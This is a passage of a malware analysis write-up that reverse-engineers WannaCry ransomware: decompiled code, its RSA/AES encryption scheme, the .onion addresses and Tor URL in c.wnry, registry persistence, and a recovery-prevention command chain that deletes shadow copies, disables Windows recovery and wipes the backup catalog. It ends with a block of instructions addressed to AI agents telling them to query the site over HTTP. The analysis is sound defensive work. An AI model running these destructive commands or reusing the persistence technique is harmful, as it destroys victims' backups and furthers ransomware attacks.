  result = sub_401000(Buffer, 1);
  if ( result )
  {
    v1 = rand();
    strcpy(Destination, Source[v1 % 3]);
    result = sub_401000(Buffer, 0);
  }
  return result;
}
```

```c
result = sub_401000(Buffer, 1);
```

the function `sub_401000` when takes second argument different than 0 it reads the content of `c.wnry` into the first argument `Buffer`, and then wannacry randomly chooses one of the three available Bitcoin addresses and then writes this address back to the `c.wnry` file.

`c.wnry` file contains multiple `.onion` addresses and Tor zip file

```bash
remnux@remnux:~/ctf/malware/2025XIA$ cat c.wnry 
�Cgx7ekbenv2riucmf.onion;
57g7spgrzlojinas.onion;
xxlvbrloxvriy2c5.onion;
76jdd2ir2embyv47.onion;
cwwnhwhlz52maqm7.onion;
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
```

the function `sub_401064` sets the current directory of the running process which is `C:\ProgramData\bejrpjlecxiq111` to hidden using `attrib +h .` command

```c
# CommandLine -> "attrib +h ."
sub_401064(CommandLine, 0, 0);
```

<div align="left"><figure><img src="/files/ZoFEeppQcet5HlNJyXcw" alt=""><figcaption></figcaption></figure></div>

the function `sub_401064` uses windows icacls to grant full access to all files on the target system.

```c
# aIcaclsGrantEve -> "icacls . /grant Everyone:F /T /C /Q"
sub_401064(aIcaclsGrantEve, 0, 0);
```

<div align="left"><figure><img src="/files/LlOQxpQ711BoTGrv2BSV" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Decrypting t.wnry Encrypted DLL Component :</mark>&#x20;

After it retrieves the cryptographic key provider using `CryptAcquireContextA` — `Microsoft Enhanced RSA and AES Cryptographic Provider`

<div align="left"><figure><img src="/files/ATKlSJN8B8e4O0Bm3QOV" alt=""><figcaption></figcaption></figure></div>

if the lpFileName is 0 it will call the function `CryptImportKey` with a global buffer variable `&unk_40EBF8`, double clicking on it apprears that it's a `Microsoft RSA key BLOB`, according to microsoft documentation page  this function transfers a `cryptographic key` from a `key BLOB` into a `cryptographic service provider` (CSP), so i have renamed it to RSA\_KEY in case it's used somewhere else.

<div align="left"><figure><img src="/files/FvGccauz4TMd39ZYrXWF" alt=""><figcaption></figcaption></figure></div>

if lpFileName is not 0 it will read the RSA\_KEY from a file

<div align="left"><figure><img src="/files/4IzeBIwSWztniXNPuktG" alt=""><figcaption></figcaption></figure></div>

in case of failure it will destoryKeys and release Crypto Context

<div align="left"><figure><img src="/files/ZTxkspOMU5IrWZ3tGUho" alt=""><figcaption></figcaption></figure></div>

and then passes the `t.wnry` file name as first argument and 0 as second argument

```c
v14 = 0
 v5 = (void *)sub_4014A6(aTWnry, (int)&v14);
```

```c
int __thiscall sub_4014A6(void **this, LPCSTR lpFileName, int a3)
{
  int v4; // ebx
  HANDLE v5; // edi
  size_t Size; // [esp+14h] [ebp-244h] BYREF
  int Buffer; // [esp+18h] [ebp-240h] BYREF
  char Buf1; // [esp+1Ch] [ebp-23Ch] BYREF
  int v10; // [esp+1Dh] [ebp-23Bh]
  __int16 v11; // [esp+21h] [ebp-237h]
  char v12; // [esp+23h] [ebp-235h]
  __int64 dwBytes; // [esp+24h] [ebp-234h] BYREF
  int v14[128]; // [esp+2Ch] [ebp-22Ch] BYREF
  int v15; // [esp+22Ch] [ebp-2Ch] BYREF
  int v16; // [esp+230h] [ebp-28h]
  LARGE_INTEGER FileSize; // [esp+234h] [ebp-24h] BYREF
  DWORD NumberOfBytesRead; // [esp+23Ch] [ebp-1Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+240h] [ebp-18h] BYREF

  v4 = 0;
  v15 = 0;
  Size = 0;
  Buf1 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  Buffer = 0;
  NumberOfBytesRead = 0;
  ms_exc.registration.TryLevel = 0;
  v5 = CreateFileA(lpFileName, 0x80000000, 1u, 0, 3u, 0, 0);
  if ( v5 != (HANDLE)-1 )
  {
    GetFileSizeEx(v5, &FileSize);
    if ( FileSize.QuadPart <= 104857600 )
    {
      if ( ReadFile_0(v5, &Buf1, 8u, &NumberOfBytesRead, 0) )
      {
        if ( !memcmp(&Buf1, aWanacry, 8u) )
        {
          if ( ReadFile_0(v5, &Size, 4u, &NumberOfBytesRead, 0) )
          {
            if ( Size == 256 )
            {
              if ( ReadFile_0(v5, this[306], 0x100u, &NumberOfBytesRead, 0) )
              {
                if ( ReadFile_0(v5, &Buffer, 4u, &NumberOfBytesRead, 0) )
                {
                  if ( ReadFile_0(v5, &dwBytes, 8u, &NumberOfBytesRead, 0) )
                  {
                    if ( dwBytes <= 104857600 )
                    {
                      if ( sub_4019E1(this[306], Size, v14, (int)&v15) )
                      {
                        sub_402A76((int)v14, Src, v15, 0x10u);
                        v16 = (int)GlobalAlloc(0, dwBytes);
                        if ( v16 )
                        {
                          if ( ReadFile_0(v5, this[306], FileSize.LowPart, &NumberOfBytesRead, 0)
                            && NumberOfBytesRead
                            && NumberOfBytesRead >= dwBytes )
                          {
                            v4 = v16;
                            sub_403A77(this[306], v16, NumberOfBytesRead, 1);
                            *(_DWORD *)a3 = dwBytes;
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  local_unwind2(&ms_exc.registration, -1);
  return v4;
}
```

if the `t.wnry` file is already created it takes the file size using `GetFileSizeEx` and it reads the first `8 bytes` from the file and compares to `WANACRY!` , then reads 4 bytes and checks if it equals to `256`, then reads `256 bytes`.

calls the function `sub_4019E1` which takes the 256bytes as argument, and tries to decrypt it using `CryptDecrypt` function and the RSA\_KEY loaded previously.

<div align="left"><figure><img src="/files/e6hi9juvH9bYHLPJDbbt" alt=""><figcaption></figcaption></figure></div>

so `t.wnry` contains encrypted content and the decompiled code and the assembly code is very hard to understand so rather than understanding the decryption logic and do it ourselves what we will do is follow execution until it gets fully decrypted by the malware :)

setting a breakpoint at the return value of the function `sub_4021BD` reveals an executable since the `header magic bytes` is `MZ`.

<div align="left"><figure><img src="/files/lsBJLCwBQ4f86U5i9jHG" alt=""><figcaption></figcaption></figure></div>

let's copy the hex dump of the executable and dump it. once it's dumped let's open it using `detect it easy` tool which detected the file as a 32 bit DLL.

<div align="left"><figure><img src="/files/M8oXqeMF9XN59Ywz2GLJ" alt=""><figcaption></figcaption></figure></div>

and then calls the function `sub_402924` with 2 arguments the first one being `pointer to DLL` and the second one the string `TaskStart`

```c
# String1 -> TaskStart
v7 = (void (__stdcall *)(_DWORD, _DWORD))sub_402924(v6, String1);
```

which uses the function `stricmp` to lookup for the function TaskStart within the DLL and returns the address of the function within the DLL.

then loads the dll and calls the function `TaskStart`

```c
v7(0, 0);
```

so we can conclude that`the file`t.wnry is an `Encrypted DLL Component` and the main ransomware encryption component and harmfull code is within this DLL.

<div align="left"><figure><img src="/files/ZaG3l0cwaREz89JbxTNt" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Encryption :</mark>&#x20;

first thing the malware creates 3 strings `00000000.res`, `00000000.eky` and `00000000.pky`

<div align="left"><figure><img src="/files/3dVnURe40GNMoFMTRNSM" alt=""><figcaption></figcaption></figure></div>

then calls `sub_10004600` which opens a mutex `Global\\MsWinZonesCacheCounterMutexW` and if the mutex is already opened and we can get a handle to it that means that the TaskStart function is already executed and the return value is 1 if not the mutex will be created and the result returned is 0.

if the returned value is 0 it will call the function `sub_10004990` if not it will start by creating a thread. let's suppose that the TaskStart is being executed for the first time so the mutex will not be opened since there's no handle to it so it will return 0 so the next function `sub_10004500` will be executed.

creates `00000000.dky` string and then verifies the existance of the pky and dky files using `GetFileAttributesA`, then calls the function `sub_10003D10` which imports the pky and dky files and tests the encryption and decryption process of some test data using `CryptEncrypt` and `CryptDecrypt`

so `00000000.dky` file presents a decryption RSA key which is received upon the payment has been verified. When the victim clicks the “Check Payment” button.

<div align="left"><figure><img src="/files/z0gk54qcPkmOctX1Ma2J" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/gJoP5SyofCPTou87nrmm" alt=""><figcaption></figcaption></figure></div>

if both files pky and dky exist and the encryption and decryption of `TESTDATA` was successfull the returned value will be 1 which means a thread will be created which will execute the function `sub_10004990`. for now let's suppose the files do not exist and we will be explaining the function `sub_10004990` later.

so if both files do not exist it will call the function `sub_10003AC0(pky, eky)`

<div align="left"><figure><img src="/files/TvTPmhIkGxFUuKqaTYcQ" alt=""><figcaption></figcaption></figure></div>

which takes pky and eky files as arguments, it starts by acquiring crypto context so it can use the crypto api provided by windows then it checks if the pky file exists, if it's the case it will import it from file using `CryptImportKey`, if it doesn't exist it will import it from the binary

<div align="left"><figure><img src="/files/bEyPrcjp0E5tyjE3FUqR" alt=""><figcaption></figcaption></figure></div>

CryptImportKey returns **TRUE** if it succeeds and with the `!` it will be **FALSE** so it will generate a 2048 bit RSA Victim Public/Private Key Pair using `CryptGenKey` and then export the public key using `CryptExportKey` to pky file. then export the private key using `CryptExportKey` and encrypt it using another binary hardcoded Attacker public key and save it to eky file.

<div align="left"><figure><img src="/files/PX15mdgBoSmh7JHrsjLX" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/rwi0UBBu7VHTLRG5FcV3" alt=""><figcaption></figcaption></figure></div>

* `00000000.eky` -> is the Victim Private Key Encrypted with the Attacker Public Key hardcoded in the binary
* `00000000.pky` -> is the victim's Public Key

#### <mark style="color:purple;">multiple threads are spawned :</mark>

every 5 seconds checks whether the user payed the ransom by testing the existence of the pky and dky files and if they exist testing the encryption and decryption process using some test data, and if everything works perfectly it sets a global variable to notify all other parts of the program.

<div align="left"><figure><img src="/files/vGasE0OXmGIkzz1cmRNk" alt=""><figcaption></figcaption></figure></div>

first it gets bitmask representing all drives connected to the system (hard drive, removal media, CD-ROM ...etc) using `GetLogicalDrives` and then copies the result to another variable and after 3 seconds it gets another result again using `GetLogicalDrives` and compares the two results and if they are different it detects that a new drive is attached to the system and it keeps doing so every 3 seconds until the global variable `decryption_successful_global_var` is set to TRUE which means that the victim has payed the ransom, so we can conclude that it does this so it encrypts every drive attached to the system.

<div align="left"><figure><img src="/files/3NIsVfpeDtSr5bNZbdcT" alt=""><figcaption></figcaption></figure></div>

so when a new drive is attached it will call `sub_10005680` function. using `GetDriveTypeW` it checks the type of the drive attached and if the drive id of the drive attached is 5 it simply returns without encrypting its files. 5 indicates a drive of type CD-ROM so all drives attached their files will be encrypted except for CD-ROM.

```c
v4 = GetDriveTypeW;
if ( GetDriveTypeW(DirectoryName) == 5 ) # 5 -> CD-ROM drive
   return;
```

and then it starts iterating through directories of the drive and does some checks on what files to encrypt and what to not encrypt.

it checks the directory being iterated is one of those directories and if it does it skips it since wannacry doesn't encrypt the files important to the filesystem since corrupting the system files will not give the victim the ability to pay the ransom.

<div align="left"><figure><img src="/files/pXOTlrpIbdHlPOPfRGVX" alt=""><figcaption></figcaption></figure></div>

if the file being iterated is one of the wannacry files it skips it since wannacry doesn't want to encrypt its own files.

<div align="left"><figure><img src="/files/huoLo4v7UKXzjeI3iFZi" alt=""><figcaption></figcaption></figure></div>

and then it checks the type of the file being iterated using the function `sub_10002D60` so it cat determine which files should be encrypted and which files should be ignored.

```c
v11 = sub_10002D60(FindFileData.cFileName);
```

which checks for the extension of the file using the function `wcsrchr` and get the last occurence of the character `.` in the filename and then gets the extension of the file.

```c
result = (int)wcsrchr(Str, '.');
```

if the extension of the file is `.exe` or `.dll` returns **1**.

if the extension of the file is `.WNCRY` returns **6**.

if the file extensions matches one of those extensions in the list it will return **2**.

<div align="left"><figure><img src="/files/G8THfL0DXNKCOC7O5JPB" alt=""><figcaption></figcaption></figure></div>

if the file extensions matches one of those extensions in the list it will return **3**.

<div align="left"><figure><img src="/files/gxaygsfRt0G5zhp8UfYW" alt=""><figcaption></figcaption></figure></div>

all the extensions to be encrypted

<div align="left"><figure><img src="/files/e2o6r1lBNnQLGQTs3Vc6" alt=""><figcaption></figcaption></figure></div>

and finally checks for the extension `.WNCYR` for which it returns **5** and `WNCRYT` for which it returns **4**.

and then it adds the files to a list which returned values different than 1 or 6 which means files that have extensions different than `.WNCRY` , `.exe`, `.dll`

<div align="left"><figure><img src="/files/gOPp7J4ZsbKrZUaIC2b3" alt=""><figcaption></figcaption></figure></div>

and then to encrypt each file being iterated in the file list, it generates for each file a 16-byte symmetric AES key using the `CryptGenRandom` function, and then encrypts the key using the file `00000000.pky` which contains the victim public key, the encryption is done using the function `CryptEncrypt`.

<div align="left"><figure><img src="/files/vA1IdPgUHk3lA9jJUZUA" alt=""><figcaption></figcaption></figure></div>

Each file encrypted by the malware starts with the string `WANACRY!`, then the encrypted key length, the encrypted key, the file type which is 4, then file size, and finally the encrypted file contents.

<div align="left"><figure><img src="/files/j5JfCKiZYi9wxYYFQH7H" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">How to decrypt data ?</mark>

to decrypt data encrypted by wannacry we have to first know how data is getting encrypted.

we know that each file is encrypted using an AES key, and then the AES key is `encrypted using victim's public key` and stored inside the encrypted file.

to decrypt the AES KEY encrypted with the victim's public key we should have the victim's private key, we know that the file `00000000.eky` contains the victim's private key encrypted with the attacker public key which was embedded in the binary.

to decrypt the encrypted victim's private key we need the attacker private key which we do not have until we pay the ransomware.

<mark style="color:purple;">**Steps to decrypt data :**</mark>&#x20;

1. use attacker's private key to decrypt the victim's private key encrypted with the attacker public key.
2. use the victim's private key to decrypt the encrypted AES key encrypted with the victim's public key for each file (the encrypted AES KEY is stored in each encrypted .WNCRY file).
3. use the decrypted AES key to decrypt file.

<div align="left"><figure><img src="/files/odtwA1yOdtlSSQOlWeJ1" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Spawning multiple Processes (taskdl.exe, taskse.exe, @<WanaDecryptor@.exe>) :</mark>

spawns a thread running the function `sub_10005300` which runs the executable `taskdl.exe` every 30 seconds using a process if the global variable `decryption_successful_global_var` is not true which means the victim hasn't payed the ransom.

<div align="left"><figure><img src="/files/FO980WsIgzMLDnueS9ys" alt=""><figcaption></figcaption></figure></div>

then spawns another thread running the function `sub_10004990` which runs the command `taskse.exe @WanaDecryptor@.exe` every 30 seconds using a process and then WannaCry adds malicious registry entries to make persistence into the system, so that it could launch the infection after each system reboots using the command `cmd.exe /c reg add %s /v \"%s\" /t REG_SZ /d \"\\\"%s\\\"\" /f`

* `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
* `<random_alphanumeric>=C:\ProgramData\<random_alphanumeric>\tasksche.exe`

<div align="left"><figure><img src="/files/0CeoifY3QnfycH8aLzxx" alt=""><figcaption></figcaption></figure></div>

taskse.exe is an executable which enumetates RDP Sessions using `WTSEnumerateSessions` function and executes the first argument in the RDP Sessions found. and this is done to ensure all the rdp sessions can see the wannacry window.

`@WanaDecryptor@.exe` which is responsible for showing the payment and timer windows for the victim and decryption process if the victim payed the ransom.

<div align="left"><figure><img src="/files/d0v2quplA1VdPm63lvo8" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Recovery Prevention :</mark>&#x20;

it runs the command `cmd.exe /c start /b @WanaDecryptor@.exe vs` using `CreateProcessA`

<div align="left"><figure><img src="/files/50XAiz0uc8LV4Wvh2jwD" alt=""><figcaption></figcaption></figure></div>

reversing `@WanaDecryptor@.exe` we can find that it checks if the argument passed to it is `vs` if it's the case it will execute the command `cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignore allfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet` using a `CreateProcessA`

<div align="left"><figure><img src="/files/9KGJkifaDH5nf1zkjdGH" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/RsDlxLyMZA68EPkyUV7H" alt=""><figcaption></figcaption></figure></div>

these commands are used by wannacry ransomware after encrypting data to prevent data recovery

* <mark style="color:green;">**vssadmin delete shadows/all/quiet**</mark> <mark style="color:green;">**:**</mark> delete all Volume Shadow Copies silently.
* <mark style="color:green;">**wmic shadowcopy delete :**</mark> same as the previous one. used to ensure removal of any backup copies.
* <mark style="color:green;">**bcdedit /set {default} bootstatuspolicy ignore allfailures :**</mark> setting the boot status policy for the default operating system to "ignore". This action is aimed at preventing the system from displaying error messages during startup, which could potentially alert the user to suspicious activity.
* <mark style="color:green;">**bcdedit /set {default} recoveryenabled no :**</mark> Disables the Windows recovery feature, which means preventing the victims from the possibility to reverting their system to a previous build.
* <mark style="color:green;">**wbadmin delete catalog -quiet :**</mark> delete the backup catalog without generating any notification or prompts.

### <mark style="color:blue;">Encrypting datastorage files :</mark>

terminate processes associated with Microsoft Exchange, SQL Server, and MySQL which ensures that the ransomware can encrypt files without interference from these database or server processes, which might prevent encryption. doing this it can encrypt as many files as possible, maximizing the impact of the ransomware attack

<div align="left"><figure><img src="/files/CQ5wVLc1LYX0zA4FRfVd" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">WANNACRY FULL ATTACK MAP :</mark> &#x20;

<div align="left"><figure><img src="/files/GgxhTeKQnDwbPfkaeAiE" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sayonara.gitbook.io/writeups/malware-analysis/wannacry-ransomware.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
